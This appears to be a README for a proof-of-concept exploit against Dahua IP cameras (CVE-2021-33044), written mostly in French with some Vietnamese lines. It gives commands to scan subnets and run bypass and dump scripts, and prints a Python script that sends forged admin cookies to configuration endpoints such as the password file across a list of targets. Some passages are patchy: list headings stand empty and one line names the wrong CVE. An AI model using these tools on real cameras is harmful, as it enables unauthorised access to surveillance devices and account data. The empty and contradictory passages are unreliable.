
Exploit PoC pour le contournement d'authentification Dahua (CVE-2021-33044). Scanne des sous-réseaux, teste plusieurs CVE et extrait les configurations des appareils via des cookies fabriqués sans identifiants valides.
Les caméras IP Dahua sont des appareils IoT couramment utilisés dans les systèmes de surveillance de sécurité. Étant souvent déployées dans des réseaux internes ou accessibles depuis Internet, les vulnérabilités de sécurité sur les caméras IP peuvent gravement affecter la vie privée et la sécurité des informations.
CVE-2021-33045 est une vulnérabilité de sécurité présente sur certaines gammes de caméras Dahua, permettant un accès non autorisé aux ressources de configuration internes sans authentification valide. Cette vulnérabilité provient d'un mécanisme de contrôle d'accès laxiste dans le firmware de l'appareil.
| Champ | Contenu |
|---|---|
| CVE | CVE-2021-33044 |
| Type | Authentication Bypass |
| Gravité | Critical (CVSS ~9.8) |
| Auth | Aucune authentification requise |
| Produits affectés | Caméras Dahua / DVR / NVR |
La vulnérabilité provient d'une conception d'authentification non sécurisée dans le firmware des caméras Dahua :
Cela permet à un attaquant :
Références :
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Ports Dahua courants : 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
Le script utilise la bibliothèque requests et désactive activement les avertissements SSL afin de les supprimer.
La fonction dump_accounts(ip, port=80) est la fonction principale chargée de tester un appareil caméra. Sa fonction principale est de :
Simulation des cookies d'authentification. La fonction utilise des valeurs de cookie telles que :
userName=adminuserLevel=1sessionID=00000000Dans les versions de caméras affectées, le backend ne vérifie pas le sessionID réel, ce qui amène le système à croire que la requête a été envoyée depuis un compte administrateur valide.
Le script lit la liste des cibles depuis un fichier d'entrée, puis appelle la fonction de test pour chaque appareil. Cette approche permet d'évaluer plusieurs caméras de manière automatisée.
Ces scripts ont été développés sur la base de :
Statut des tests :
Ce projet :
| Fichier | Objectif | CVEs |
|---|
dahua_scanner.py | Découverte réseau — trouver des caméras Dahua sur un sous-réseau | Détection |
dahua_exploit.py | Outil de scan Multi-CVE — vérifie toutes les vulnérabilités de sécurité. | Toutes |
dahua_auth_bypass.py | Contournement d'authentification dédié avec l'option --dump | CVE-2021-33044 |